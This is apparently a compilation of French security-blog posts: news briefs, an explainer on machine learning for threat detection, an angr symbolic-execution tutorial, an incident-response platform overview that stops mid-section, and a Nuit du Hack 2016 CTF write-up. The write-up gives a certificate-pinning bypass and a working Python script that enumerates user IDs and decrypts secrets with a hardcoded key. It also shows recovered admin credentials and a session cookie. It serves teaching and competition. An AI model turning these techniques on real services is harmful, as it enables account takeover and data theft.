La vulnérabilité permettrait à un utilisateur distant non authentifié de prendre le contrôle de façon complète des appareils Cisco servant à la sécurisation des emails, en particulier les OS Cisco IronPort AsyncOS.
Source :

[Brève] Des chercheurs ont conçu deux nouvelles techniques pour désanonymiser les utilisateurs de Tor
Ces techniques, regroupées sous le nom de Defectorreposent sur l’analyse du trafic DNS depuis les points de sortie du réseau Tor. Grâce à un tel trafic, il est alors possible de créer une cartographie relativement précise de l’utilisation des sites présents sur le Dark Web.
Sources :


Nicolas DAUBRESSE

Machine Learning & Cybersécurité


Tout le monde entend parler de machine learning, d’intelli­gence artificielle, de big data, d’analytics... Qu’en est-il de ces concepts, et notamment du machine learning appliqués à la cybersécurité ?

MACHINE LEARNING, KESAKO ?

Le « machine learning » pourrait se définir tel que « le concept d’utiliser les données et des algorithmes pour permettre à une machine d’apprendre d’elle-même ».

LA THÉORIE, DES DOMAINES ET DES GRAPHES…

Contrairement à la modélisation statistique qui consiste en la formalisation de règles entre des variables sous la forme d’équa­tions mathématiques, le machine learning désigne le concept d’un algorithme qui peut apprendre à partir des données sans s’appuyer sur des règles préprogrammées. En cela, le machine learning appartient au domaine de l’information et de l’intelli­gence artificielle.


LE MACHINE LEARNING S’APPUIE SUR LES RÉCENTS PROGRÈS TECHNOLOGIQUES

Les 3 principaux piliers du machine learning sont :
  • L’exploration de données (data mining), permise et justi­fiée par la quantité et la diversité des données aujourd’hui produites, potentiellement collectées et disponibles.
  • La reconnaissance de motifs (pattern recognition), per­mettant notamment de tisser des liens entre les données recueillies et de faire ressortir des motifs.
  • L’informatique neuronale (neurocomputing), comme moyen supplémentaire d’analyse, inspiré des réseaux neuronaux biologiques, comme le cerveau.

Ces capacités sont permises par les récents progrès technolo­giques, comme l’illustre le schéma ci-dessous :


Finalement, le machine learning constitue le « cerveau » qui per­met d’extraire du sens depuis l’entrepôt de données.

COMMENT CELA FONCTIONNET-T-IL ?

Donner la capacité à une machine d’apprendre ne va pas de soi ! En voici les concepts clés :


Le processus peut se décomposer en plusieurs phases :
  • Le prétraitement des données, via la normalisation et l’épuration des données, permet de les rendre acces­sibles au traitement.
  • L’apprentissage, qui peut se baser sur plusieurs types d’algorithmes, parmi lesquels :
    • L’apprentissage supervisé crée un modèle en se basant sur des exemples étiquetés obtenus à par­tir d’expériences passées. Il nécessite des données d’entrainement composées de 2 ensembles : premiè­rement des éléments/valeurs d’entrée (également appelés « features »), et secondement, une classe (ou «labels»), exemple : site Web de phishing vs. site sain. Le but du modèle créé est de prédire la classe pour des données où seules les features sont disponibles. Concrètement, pour qu’un programme apprenne à reconnaître une voiture, par exemple, il est « nourri » de dizaines de milliers d’images de voitures, étiquetées comme telles. Une fois entraîné, il peut reconnaître des voitures sur de nouvelles images.
    • L’apprentissage profond ou non-supervisé vise à laisser le soin (et le travail) à la machine (comprendre l’algorithme) de déterminer les classes en mettant en exergue les motifs communs et différences. Cette méthode se distingue de l’apprentissage supervisé par le fait qu’il n’y a pas de sortie a priori. Cette technique se base sur un « réseau de neurones » dans lequel les résultats de la couche de neu­rones vont servir d’entrée au calcul des autres couches. En mars 2016 le programme alphaGo ayant appris à jouer au jeu de go par cette méthode a battu le champion du monde Lee Sedol 4 parties à 1.
  • L’analyse des erreurs constituant une phase de test du modèle.

Ensuite, afin de valoriser les données classifiées, il s’agit de com­biner les classes.
Cette phase est certainement plus délicate. En effet, la corrélation fait intervenir des règles liées aux métiers (à l’utilisation voulue du machine learning), mêlant des règles notamment faites d’expé­riences et d’exceptions.

DE NOMBREUSES APPLICATIONS POSSIBLES POUR UN MARCHÉ EN PLEIN BOOM

L’intelligence artificielle et plus précisément le machine learning a décidément le vent en poupe ! Des applications historiques telles la prévention de la fraude dans le milieu bancaire ou à la prédic­tion des maladies et à l’aide à la décision pour les soins associés (cf. Google DeepMind et London Eye Hospital), il existe de nom­breux débouchés potentiels (dont cet article n’est pas l’objet).
Tiré par les grands et notamment Google, de nombreuses annonces au sujet du machine learning ont été publiées récem­ment, avec par exemple :
  • Google ayant rendu public courant mai ses puces « TPU » (Tensor Processing Unit) spécialement conçues pour être optimisées pour les opérations de réduction (opéra­tion élémentaire du machine learning), utilisable avec sa bibliothèque opensource nommée « TensorFlow ».
  • En juin, la société BrainChip (producteur de puces dé­diées au machine learning) a racheté la société française « Spikenet Technology » offrant des « technologies mul­ti-applicative de reconnaissance de formes en temps réel » avec par exemple des applications dans la surveillance des aéroports.

LE MACHINE LEARNING APPLIQUÉ À LA CYBERSÉCURITÉ

Intéressons-nous maintenant aux applications du machine lear­ning à la cybersécurité et notamment à la détection d’incidents de sécurité.

Des moteurs de détection en pleine évolution

Avant d’évoquer les applications à proprement parler, dressons un rapide récapitulatif des solutions / moteurs de détections actuels, parmi lesquels :
  • Les méthodes historiques (de type « antivirus ») se basant sur des signatures : la solution cherche, notam­ment dans les fichiers, des traces des signatures connues comme faisant partie de malwares.
  • Les solutions plus avancées se basent sur l’émulation (i.e. exécution du malware présumé dans un environnement bac à sable) pour déterminer s’il en résulte un compor­tement malveillant ou non. Cela passe par une combinai­son d’analyse comportementale (ex. il n’est pas « normal » qu’un binaire lise et réécrive un grand nombre de fi­chiers sur les périphériques de stockage, ce qui peut être le signe d’un ransomware) et de recherche d’indicateurs de compromission – IOC (ex. un fichier faisant des HTTP GET vers des URL / IP connus comme étant répertoriés comme un C&C).
  • De nouvelles solutions, d’analyse comportementale à grande échelle ingérant de grandes quantités (plusieurs Gbps) et variétés de données (flux, métadonnées, logs, etc.) à la recherche de déviances pouvant indiquer des actes malveillants.
C’est notamment sur ce dernier type de solutions que le machine learning peut apporter une réelle valeur ajoutée.

Quelques initiatives en matière de Cybersécurité

À noter par exemple l’initiative « AI² » portée conjointement par le MIT et la startup PatternEx, matérialisée par la création d’une plateforme basée sur le machine learning (non supervisé et super­visé) qui permettrait de détecter 85% des menaces (3 fois plus que les précédents essais) en apprenant de plus de 3,6 milliards de lignes de logs.

Parmi les grands éditeurs de solutions de sécurité, RSA (division sécurité d’EMC, en passe d’être racheté par Dell) a annoncé à la RSA conférence (mars 2016) l’intégration à la suite Security Analytics (le SIEM RSA sur la base des logs et des paquets réseaux) d’un moteur d’analyse comportemental temps réel basé sur le machine learning.

Du côté de « Big Blue », l’éditeur fournisseur de la plateforme de SIEM bien connue « Qradar » a annoncé en mai la sortie d’une déclinaison appliquée à la cybersécurité de sa plateforme de machine learning « Watson ».
IBM compte nourrir « Watson for cybersecurity » de son flux de Threat Intelligence « X-force » mais aussi des données moins structurées tels que des messages de SPAM, des malwares ainsi que des rapports de recherche, aidé par le partenariat établi sur ce projet avec 8 universités nord-américaines. L’éditeur prévoit de traiter 15 000 documents par mois.

De taille plus modeste et plus proche de nous, la société DarkTrace, fondée en 2013 et basée en Angleterre, propose une solution de détection, nommée « Enterprise Immune System » qui n’utilise pas d’IOC mais uniquement des algorithmes de machine learning. Une déclinaison au monde des SI industriels est également disponible. L’éditeur indique un temps moyen d’apprentissage (capture des données, contextualisation manuelle, levée d’alerte, tunning de manière itérative, etc.) d’environ 2 semaines.

La solution, outre son moteur de détection différenciant, offre une interface particulièrement visuelle.


Nous avons récemment pu la voir fonctionner (en environnement de démo) et la challenger dans le cadre d’un RFP pour un client du cabinet. La solution semble particulièrement prometteuse. Darktrace a levé 65 millions de dollars début juillet pour continuer son développement.

Ce qui est particulièrement intéressant avec ces solutions est le fait qu’elles ne se concentrent pas seulement sur la détection de l’ « infection initiale » mais aussi et surtout sur la détection des « symptômes » (post infection donc), offrant une visibilité accrue pour détecter les comportements malveillants.

UN MOYEN DE DÉTECTION COMPLÉMENTAIRE PLUTÔT QU’UNE FIN EN SOI

Le machine learning, même s’il n’est pas nouveau, a récemment fait ses preuves et de nombreuses applications (fraude, santé, assurance, etc.) sont envisageables. Cette combinaison rend le machine learning très tendance actuellement et intéressant pour les prochaines années.

Appliqué à la cybersécurité et à la détection d’incidents de sécu­rité, les grands acteurs du domaine (ex. RSA, IBM) enrichissent leur plateforme par des moteurs de détection basés sur du machine learning, et des sociétés « pure player » (ex. Darktrace) voient le jour et commercialisent des solutions dédiées. Cela dit, le marché semble est encore peu mature.

Aussi, très rares sont aujourd’hui les grands comptes ayant déployé une solution de détection d’incidents de sécurité prin­cipalement basée sur le machine learning. En effet, les équipes de sécurité sont souvent dépassées par les alertes des moyens de détection actuels sans qu’il y ait besoin d’en ajouter un. Un réel niveau de maturité SSI semble donc un prérequis avant de s’équiper d’une telle solution.

Dans tous les cas, le machine learning constitue une approche complémentaire car ne visant pas à détecter les mêmes évè­nements : son apport semble bien plus important sur le volet détection de comportements malveillants suite à compromission que sur la détection de la compromission elle-même.

Finalement, le machine learning appliqué à la cybersécurité appa­rait comme un moyen complémentaire et non une fin en soi : du côté des solutions, les capacités de visualisation, d’automatisation et de reporting semblent cruciales, côté humain, la disponibilité et la qualité de l’expertise restent plus que jamais nécessaires.

Bref, un sujet à suivre de près !

Mathieu HARTHEISER & Vincent NGUYEN

Write-up challenge Nuit du Hack 2016


Wavestone était présent en tant que sponsor à la Nuit du Hack 2016 et a organisé pour l’occasion un challenge autour d’une application mobile, pour lequel plusieurs lots étaient à remporter :

Le grand gagnant de challenge, Nicolas Devillers consultant sécurité au sein de la société Lexfo, nous propose sa solution détaillée à travers cet article invité sur SecurityInsider

L’épreuve consiste en l’analyse d’un APK disponible via l’adresse :

Après l’avoir téléchargé et décompressé on procède de manière classique: on décompile et on analyse le classes.dex en utilisant jd-gui [1] et dex2jar[2].
$ wget --no-check-certificate https://52.41.208.29/solupass.apk
$ unzip solupass.apk -d solupass
$ ~/tools/android/dex2jar-0.0.9.15/dex2jar.sh solupass/classes.dex


En parallèle on démarre un proxy d’interception HTTP (burp-suite) ainsi que l’émulateur Android.
$ java -jar ~/tools/burp/burp.jar
$ ./emulator -avd nexus -http-proxy 127.0.0.1:8080

On réalise par la suite l’installation de l’APK sur l’émulateur en utilisant ADB.
$ adb install solucom.apk

On démarre enfin l’application. Celle-ci consiste en un gestionnaire de mot de passe. Elle exploite un WebService dont les URLs sont situées sur :

Après avoir créé un utilisateur sur l’application, il est possible d’y sauvegarder ou importer des mots de passe via un WebService.

Les fonctions ainsi que les endpoints permettant d’interroger le WebService sont visibles dans la classe Webservice.class :

On y constate que l’application réalise du “certificate pinning” pauvre en s’appuyant uniquement sur l’attribut “issuer” du certificat:
SoluSSLSocketFactory(localKeyStore, new SoluTrustManager("CN=NDH2K16,OU=Solucom,O=Solucom,L=Paris,ST=IDF,C=FR"));
A ce stade on souhaite réaliser une interception SSL pour voir les requêtes qui sont passées au WebService par l’application ce qui gagnerait du temps de compréhension.

On pourrait alors patcher l’application en baksmali et la régénérer mais comme on est un peu pressé, On génère plutôt un certificat SSL qui match le même issuer avec easy-rsa/openssl.
On modifie le fichier easy-rsa/vars avec les variables suivantes:

KEY_COUNTRY="FR"
KEY_PROVINCE="IDF"
KEY_CITY="Paris"
KEY_ORG="Solucom"
KEY_EMAIL=""
KEY_OU="Solucom"
$./build-ca

Une fois un certificat pkcs12 généré, on le donne à manger à burp-suite.

La fonction d’import nous intéresse en premier lieu. On voit qu’elle transmet un id utilisateur sous forme chiffré, on pense donc rapidement à une élévation de privilège horizontale.
Le paramètre transmis dans la méthode “importSoluPass” provient de paramUser.getCipherId().
En analysant la méthode UserAlgo.chiffre(), on constate que l’id utilisateur est chiffré en AES/CBC avec un IV nul et une clé ayant pour valeur la session en base64 transmise par le serveur lors de la connexion :
En analysant la méthode réalisant le chiffrement des mots de passe transmis au serveur PassAlgo.chiffre() on constate que celle-ci utilise une clé hardcodée dans l’APK et donc la même pour tous les utilisateurs :



On devine qu’il va falloir exploiter ces 2 vulnérabilités afin d’obtenir le flag. Élévation horizontale sur le Web-Service afin d’obtenir le mot de passe chiffré d’un autre utilisateur. Puis, utilisation de la clé hardcodée afin de le déchiffrer.



Lors de la création de nos utilisateurs de test sur le WebService, on constate qu’ils ont pour id utilisateur des nombres supérieur à 500 qui s’incrémentent. Puisqu’on cherche à obtenir le secret d’un utilisateur antérieur, on va donc itérer sur les id utilisateurs en partant de notre id afin d’obtenir celui d’un utilisateur plus récent.

On sort un script python un peu sale auquel on passe notre session afin d’avoir une clé pour chiffrer des ID ainsi que la clé hardcodée dans l’APK permettant de déchiffrer les secrets. On décrémente les ID en partant de 510 jusqu’à 0 en espérant obtenir un mot de passe intéressant :

from Crypto.Cipher import AES
import base64
import os
import requests
import json
BLOCK_SIZE = 16
PADDING = "\xEB"
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
secret = "bMAKTsV0WwyJTBS_"
cipher = AES.new(secret)
secretgeneric = "w34kcryp7015func"
IV= "\x00"*16
for i in xrange(0,510,-1):
    genericcipher = AES.new(secretgeneric, AES.MODE_CBC, IV)
    print "User: " + str(i)
    userid = EncodeAES(cipher, str(i).zfill(16))
    session = requests.Session()
    paramsGet = {"id": userid+"\n"}
    headers = {"Cookie2":"$Version=1","Connection":"close"}
    cookies = {"session":"eyJzZXNzaW9uX2tleSI6eyIgYiI6IldXc3hRbE14VW5wV2FrSllaRE5zUzFaRlNsUllkejA5In0sInVzZXJfaWQiOjUxNX0.CllDpw.nv2UMe07QraOjocQJFb9l1ujmX8"}
    response = session.get("https://52.41.208.29/ws/import", params=paramsGet, headers=headers, cookies=cookies, verify=False)
    fu = json.loads(response.content)
    encrypted =  fu['solupass']
    if encrypted == "n+IRW58OlIaLMno0P79FbA==":
        continue
    print "User " + str(i) + " Decoding: " + encrypted
    print "Store " + repr(genericcipher.decrypt(base64.b64decode(encrypted)))

Le script nous donne finalement ce secret intéressant avec l’utilisateur 250 !
{"admin", "password": "yHBb!jchxupaWz", "description": "web admin cr3dz"}

Malheureusement celui-ci ne permet pas de se connecter sur le WebService avec des fonctions supplémentaires.

En regardant le fichier robots.txt on obtient une grande quantité de répertoire ou entrées. On réalise donc une attaque par dictionnaire sur celui-ci afin de découvrir les URLs existantes en utilisant le fichier robots.txt comme dictionnaire.
$ wget https://52.41.208.29/robots.txt|cut-d':' -f2|tr -d ''> dico

On découvre finalement l’url /admin-panel qui nous donne le flag après avoir utilisé les identifiants précédemment obtenus:

{FLAG}[89ce171a94df08c7ee9ff1849aaad4f9]

Il était également possible d’obtenir cette url en déchiffrant le binaire présent sur le flyer du challenge:
001011110110000101100100011011010110100101101110001011010111000001100001011011100110010101101100
Un grand merci à Wavestone pour ce challenge NDH plutôt réaliste et présentant la particularité de ne pas contenir de morse ou de base24 ;)

References


Encore bravo à Nicolas qui a gagné la montre connectée Pebble, aux autres équipes ayant remporté le drone et l’antenne WiFi Alfa, ainsi qu’à tous les autres participants !

L’exécution symbolique avec le framework angr

1. L’analyse de binaire, une problématique courante lors de tests d’intrusion et de réponse à incident
Lors de l’analyse statique d’un binaire exécutable, une des premières étapes est généralement la reconstruction du graphe de flot de contrôle (ou CFG pour control flow graph). Cette structure représente le code exécuté sous la forme d’un graphe dont les nœuds représentent les blocs d’instructions exécutées et dont les liens symbolisent les branchements possibles.

Dans le cadre d’une analyse de malware, il est parfois possible d’identifier certains blocs de code comme étant malveillants, par la présence d’appel à des fonctions rarement présentes dans des exécutables légitimes par exemple. Cependant, si le travail de l’analyste est de découvrir quelles sont les actions qui sont réalisées par un malware, il doit également pouvoir identifier les conditions nécessaires à leur exécution.


Un exemple de graphe de flot de contrôle (CFG)

Dans la figure précédente, on remarque que pour que l’action « executeMalware() » soit exécutée, le chemin d’exécution doit successivement valider les conditions « getWindowsVersion() > 6 » et « getDayOfTheWeek() == 3 ».
Cependant, lors de l’analyse d’un binaire, la taille du CFG est généralement plus conséquente et les instructions analysées sont écrites dans un langage très bas-niveau, rendant ainsi les conditions beaucoup plus compliquées à interpréter.


2. Concepts et principes de l’exécution symbolique 
Afin de pouvoir simplifier une telle analyse, et d’être capable d’évaluer de manière automatisée les exécutions possibles d’un binaire, il existe une méthode formelle appelée l’exécution symbolique.
Contrairement à l’exécution classique (ou concrète) d’un programme, où chaque registre du processeur et chaque case mémoire contient une valeur déterminée à chaque instant, l’exécution symbolique consiste à exécuter un programme de manière « abstraite », en remplaçant les valeurs inconnues par des « symboles ».
Considérons par exemple le pseudocode suivant, et le graphe de flot de contrôle associé :
Un programme et son CFG associé

Si la fonction input()symbolise une entrée de l’utilisateur, celle-ci n’a donc pas une valeur connue avant l’exécution du programme. Lors d’une exécution symbolique, les valeurs renvoyées par cette fonction seront donc remplacées par des « symboles ».
À chaque branchement conditionnel rencontré, l’algorithme d’exécution symbolique emprunte les deux chemins possibles, et enregistre les contraintes correspondant à chacune des conditions. Le graphe suivant représente le résultat d’une exécution symbolique du programme précédent, définissant les symboles x0 et y0 comme les valeurs initiales de x et y. Les expressions entre accolades représentent les contraintes correspondant à chaque chemin.
Résultat d’une exécution symbolique du programme précédent

Une fois l’exécution symbolique réalisée, il est possible de déterminer que la condition nécessaire pour atteindre le nœud « win() » est {x==x0, y==y0, x0-y0==100, y0==2*x0}. Cet ensemble de contraintes peut être simplifiée automatiquement en {x==x0, y==y0, x0== -100, y0== -200}.
Grâce à l’exécution symbolique, il a donc été possible de déterminer de manière automatisée les conditions permettant d’atteindre un certain état du programme.

3. Le framework angr
Le framework Python angr(http://angr.io) permet d’appliquer facilement les concepts de l’exécution symbolique à un binaire exécutable. Afin d’illustrer son utilisation, nous allons résoudre un challenge de la Nuit du Hack 2016  : un crackme nommé « lol_so_obfuscated ».


Exécution du binaire

Il s’agit programme qui accepte en argument une chaine de caractère, et affiche une série de nombres suivi d’un message, « You’re wrong » dans l’exemple.
Une rapide analyse du CFG de la fonction main du binaire indique que :
  1.  Une fonction nommée « encrypt » est appelée, avec comme paramètres une chaine de caractères inscrite en dur dans le binaire et l’argument fourni par l’utilisateur ;
  2.  Le résultat de cette fonction est comparé avec une autre chaine de caractères inscrite en dur dans la pile d’exécution
  3.  Si les chaines correspondent, le programme affiche « You’re right » 
  4.  Sinon, le programme affiche « You’re wrong ».



Extrait du CFG de la fonction main, avec l’outil radare2

Le but du challenge est donc de trouver une entrée utilisateur qui permette au programme d’exécuter le code situé à l’adresse « 0x400745 » (3), c’est-à-dire qui fasse afficher le message « You’re right ».
L’exécution symbolique est parfaitement adaptée pour répondre à ce type de problématique. Notamment, le framework angr permet de résoudre relativement simplement ce challenge en exécutant le code suivant (toutes les étapes ont été commentées) :

L’exécution du code permet de calculer la solution du challenge sans aucune interaction supplémentaire :


On remarquera que seules les adresses des blocs « You’re right » et « You’re wrong » challenge (en rouge dans le code), obtenues par simple observation du CFG du programme, ont été nécessaires afin de résoudre le challenge. Aucune étape de reverse-engineering n’a été effectuée ; notamment les opérations réalisées par la fonction encryptn’ont fait l’objet d’aucune étude.

4. En conclusion
L’exécution symbolique est un outil puissant pouvant grandement simplifier l’analyse de code. Outre la recherche de conditions permettant d’atteindre un certain état, il permet également de pouvoir détecter certains types de vulnérabilités comme des dépassements de tampon (« buffer overflow »), ou même de prouver leur absence de manière formelle.

Un des principaux atouts du framework angr est sa facilité de prise en main, celui-ci ayant une API plutôt intuitive (une fois les concepts de base de l’exécution symbolique maitrisée). Il dispose également d’une documentation (https://docs.angr.io/) permettant de s’approprier facilement l’outil, et d’une liste grandissante d’exemples de challenges de CTF résolus avec angr (https://github.com/angr/angr-doc/tree/master/examples).

De nombreux outils permettant l’exécution symbolique existent également, parmi lesquels :
·         Miasm (https://github.com/cea-sec/miasm), un framework très complet de reverse-engineering développé par le CEA, qui permet l’exécution symbolique, mais aussi l’édition de binaire exécutable, l’émulation de code, la traduction dans un langage intermédiaire permettant la simplification du code, l’intégration dans l’outil IDA, etc. Néanmoins, ce framework pèche par l’absence d’une documentation permettant de prendre rapidement l’outil en main :)
·         KLEE (http://klee.github.io), un moteur d’exécution symbolique basé sur LLVM, qui s’utilise donc avant compilation via l’ajout de code dans les fichiers source du programme testé. Ce type d’outil est notamment utile lors des développements d’un logiciel afin de vérifier l’absence de certaines vulnérabilités. 



Maxime MEIGNAN







CERT-W : retour sur l'actualité de la semaine du 31 octobre à 4 novembre 2016


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !
Retrouvez également le focus de la semaine, l'exécution symbolique avec angr.


[Brève] Airbus Defense & Space propose une analyse de l’organisation du groupe d’attaquant « Equation » basée sur le premier lot de ressources divulguées par le collectif « The Shadow Brokers »
Sources :

[Brève] Le collectif « The Shadow Brokers » revient sur le devant de la scène en publiant une liste de serveurs attaqués par le groupe « Equation » et ayant servi de relai
Sources :

[Brève] Le framework WMI est de plus en utilisé par les malwares comme technique de détection et d’évasion de l’environnement d’exécution
Sources :

[Brève] FireEye détaille le mode opératoire d’un groupe cybercriminel brésilien spécialisé dans la fraude de carte bancaire
Sources :

[Brève] Google publie les détails d’une vulnérabilité impactant Windows sept jours après l’avoir communiqué à Microsoft et pour laquelle aucun patch n’a été produit
Sources :

[Brève] Google retire les Autorités de Certification WoSign et StartCom du magasin de certificat de Chrome suite à la signature de faux certificats liés à Github
Sources :

[Brève] 140 millions d’entrées de base de données ont fuité en octobre 2016
Sources :

[Brève] NetSPI synthétise dans une infographie les vecteurs d’attaques couramment mis en œuvre en Red team et les méthodes de défense possibles par la Blue team
Sources :

[Brève] L’équipe Cisco Talos développe un outil de protection du MBR afin de lutter contre les ransomware ciblant cette zone
Sources :

[Brève] La société Vectra dévoile le mode opératoire de la campagne d’attaque ciblée « Moonlight » visant le moyen orient
Sources :

[Brève] Le CERT-FR émet plusieurs recommandations sur l’authentification et les politiques de gestion des mots de passe
Sources :

[Brève] Une nation entière paralysée suite à une attaque massive DDoS basée sur Mirai
Une vaste attaque DDoS s’appuyant sur le malware Mirai a été lancée sur le territoire de Liberia. Elle avait pour cible les fournisseurs d’accès et a donc perturbé pendant plusieurs heures la plupart des appareils connectés à internet. Les hackers auraient en effet concentré leur attaque sur les entreprises gérant le câble sous-marin reliant le Liberia au reste du réseau
Sources :

[Brève] La banque britannique Tesco contrainte de suspendre l’activité de son site de banque en ligne après la découverte de transactions illicites durant le week-end sur 40 000 comptes
Sources :

[Brève] La recherche de failles de sécurité dans les objets connectés légalement autorisée aux États-Unis suite à la modification du DMCA
Sources :

[Brève] Kaspersky publie son rapport sur les attaques DDoS ayant eu lieu au troisième trimestre 2016
Sources :

[Brève] Sécurité des contrôleurs de domaine Windows : éléments de base
Sources :

[Brève] L’OWASP publie une nouvelle version du Mobile Application Security Verification Standard
Sources :




Thomas DEBIZE & Binetou LO

SIRP, la panacée de la réponse à incident ?

    Le SIRP, une plateforme dédiée à la gestion des incidents de sécurité

    Comme son nom l’indique, un SIRP est une plateforme d’aide à la réponse à incident. Contrairement à un SIEM, dont l’objectif principal est de corréler les logs pour en extraire des alertes de sécurité, le SIRP participe à la gestion des alertes émises. En cela il se rapproche plus d’un outil de gestion de ticket (type ITSM) largement utilisé par les équipes d’exploitation SI au quotidien.

    Il est néanmoins dédié à la gestion des alertes et incident de sécurité grâce à des fonctionnalités spécifiques (avec des workflows de traitement spécifiques, la gestion des IOC et de la threat intelligence, l’interfaçage avec le SIEM et les autres outils de sécurité, etc.). L’objectif du SIRP est d’aider les analystes ainsi que leurs managers dans leur travail quotidien et plus globalement d’améliorer l’efficacité des activités de réponse à incident.

    Positionnement du SIRP dans l’environnement de détection

    Le SIRP, en tant que plateforme de réponse à incident peut se positionner dans le « prolongement du SIEM », notamment pour faciliter l’analyse, les notifications et l’organisation de la réaction.

    Principales fonctionnalités : collaboration, standardisation et automatisation 

    La plateforme de SIRP, en tant que point central pour la gestion des incidents de sécurité, offre des fonctionnalités propres à ses utilisateurs (analystes, responsable de SOC, RSSI, etc.). En cela, elle dépasse, fonctionnellement et en termes de sécurité, les plateformes ITSM utilisées usuellement. En particulier une plateforme de SIRP complète et mature doit être en mesure d’apporter les gains suivants :
    • Une collaboration accrue, via :
      • Des workflows ou playbooks (processus de gestion des incidents, assimilables à des arbres de décisions/ traitement) par défaut (i.e. fournies avec la solution) et facilement et hautement personnalisables. Par exemple, un workflow de traitement d’un malware détecté sur un poste de travail, avec une branche dédiée à la gestion d’un ransomware.
      • Un interfaçage avec l’ITSM corporate (ou les ITSM dans le cas d’un SI / une organisation très éclatée) afin de pouvoir communiquer de manière transparente (et ce sans changer les habitudes, sur la base des outils existants) avec les autres équipes IT (ex. équipes réseau, poste de travail, helpdesk, etc.).
    • Une efficacité améliorée dans le traitement des incidents, via :
      • La centralisation et l’accessibilité offerte par la plateforme à tous les analystes avec des rôles bien définis (N1, N2, N3, responsable MSSP, responsable SOC, RSSI BU, etc.), permettant notamment de gérer les priorités (automatiquement ou par assignation des incidents) ainsi que la continuité du traitement via la gestion des rotations d’équipes (dans le cadre d’un service en 24/7 par exemple).
      • L’automatisation des actions d’analyse et de levée de doute réalisées habituellement manuellement par les analystes via l’interfaçage du SIRP avec certaines solutions existantes : puit(s) de logs, IDS, proxys, antivirus, et solution(s) de threat intelligence. Ces intégrations permettent au SIRP d’aller récupérer des informations complémentaires relatives à l’incident pour l’enrichir.Par exemple, pour une alerte créée dans le SIRP via le SIEM et originalement générée par plusieurs alertes IDS, le SIRP pourrait automatiquement (ou sur simple demande de l’analyste) aller chercher dans :
        • Pour la recherche de traces / de marqueurs :
          • Les logs (du proxy Web) s’il retrouve trace de la requête et de la réponse.
          • La CMDB ou référentiels LDAP/AD pour récupérer des informations relatives aux machines concernées par l’alerte (nom, type, département, OS, dernier utilisateur connecté, etc.).
          • L’antivirus poste de travail : les alertes et version de l’antivirus.
          • La sandbox mail/réseau : les derniers éléments de menaces potentielles identifiées mais laissées passer.
        • Pour la contextualisation de la menace :
          • Recherche d’informations relatives au cas en cours (marqueurs, menaces, cibles, etc.) dans sa propre base regroupant les incidents passés (notion de capitalisation).
          • Une base de threat intelligence interne (ex. instance MISP) ou externe via soumissions de marqueurs à des plateformes externes / SaaS (par exemple à Virus Total, IBM Xforce, FireEye, Trend Micro, Palo Alto, etc.).
        • Pour la qualification :
        • A des applications externes (ex. envoi de hash ou URL vers Virus Total).
        • A des solutions internes, par exemple envoi des fichiers suspects (remontés depuis une alerte antivirus ou IDS) vers une sandbox pour analyse dynamique (via exécution dans un environnement contrôlé).
        • Vers les différentes solutions antivirus en place (antivirus sur les passerelles email, antivirus endpoints, etc.) permettant de vérifier de manière centralisée et industrielle si la menace est connue par les solutions de confinement en place.
        • L’industrialisation / l’automatisation de la réponse. Bien que source de polémiques, l’automatisation de la réponse sur incident (notamment des actions de mitigation) est un sujet de discussion chez nombre d’entreprises. Certaines plateformes SIRP permettent, via des mécanismes similaires (interfaçage avec des solutions tierces en place) d’industrialiser les actions de confinement / mitigation. Par exemple en proposant à l’analyste un bouton « bloquer l’URL et l’IP désignée sur les proxys Web » ou encore « générer une signature pour le fichier désigné sur l'ensemble des antivirus ».
        • Une industrialisation du traitement et des décisions portées par les workflows et un wiki intégré et géré par les analystes. Par exemple, une fiche réflexe pour la mitigation d’un ransomware ou d’un DDOS, une liste des contacts pour escalade dans telle business unit ou filiale, un exemple de rapport d’incident, une liste globale des lessons learned (plans d’actions d’amélioration identifiés post incident), etc.
      Évidemment, l’interfaçage avec les solutions tierces n’est pas « naturel », le SIRP propose en général des API et supporte certaines solutions partenaires de l’éditeur, reste ensuite à s’assurer des capacités des solutions tierces avec lesquelles s’interfacer, soit au niveau de l’application via une API, à défaut au niveau de la base de données.

      Des atouts transverses, tels que :

      • Des capacités de reporting avancées : les SIRP proposent des métriques propres à la gestion des menaces et incidents de sécurité (ex. répartition par type d’incidents, par impacts, respect des SLA, etc.) ainsi qu’un « reporting role based » (les indicateurs et rapports pour l’analyste N1 sont différents de celui du responsable de SOC ou encore du RSSI d’une business unit).
      • L’aide au respect des contraintes règlementaires via une confidentialité et une traçabilité accrue des informations et actions relatives aux incidents de sécurité. En effet, le SIRP, en tant solution dédiée et pensée secure by design, intègre son propre contrôle d’accès et moyens de chiffrement et est maitre des interfaces avec les solutions tierces (par exemple dans le cadre d’un interfaçage avec l’ITSM corporate seules les informations strictement nécessaires à l’opérateur de la tâche sont transmises à l’ITSM). Certaines solutions permettent d’avoir une traçabilité ainsi qu’un historique de tous les champs d’un incident (par exemple la criticité de l’incident créée à « haute », descendue à « moyenne » le 29/07/2016 par l’ « analyse N2 Jean Dupont »).
      • La gestion (prise en compte, suivi, capitalisation) des « demandes de sécurité » (par exemple la campagne de recherche de marqueur sur demande de l’ANSSI).
      • L’aide à l’organisation de war room, gestion de crise, etc.

      Le SIRP supporte l'ensemble du processus de réponse à incident

      Finalement, le SIRP, grâce à ses fonctionnalités intrinsèques et lorsqu’il est interfacé avec les solutions clés, apporte un gain sur les différentes phases de la réponse à incident.

      Intégration dans l'existant technologique et organisationnel 

      Le SIRP, en tant que brique centrale de la réponse à incident est à la croisée des chemins, entre les :
      • Informations techniques : évènements / logs, alertes, incidents, rapports, etc.
      • Les solutions de gestion du système d’information (CMDB, ITSM, etc.) et de sécurité (puit de logs, SIEM, IDS, antivirus, proxy, etc.).
      • Les équipes de sécurité et de production IT.
      Le schéma ci-dessous offre une vue des échanges fonctionnels entre le SIRP est les éléments suscités :

      S'équiper d'un SIRP

      Même si cet outillage peut paraître très séduisant vu ses capacités, de nombreuses questions se posent avant de se lancer sur un projet d’acquisition.

      Prioriser ses besoins pour définir une première cible 

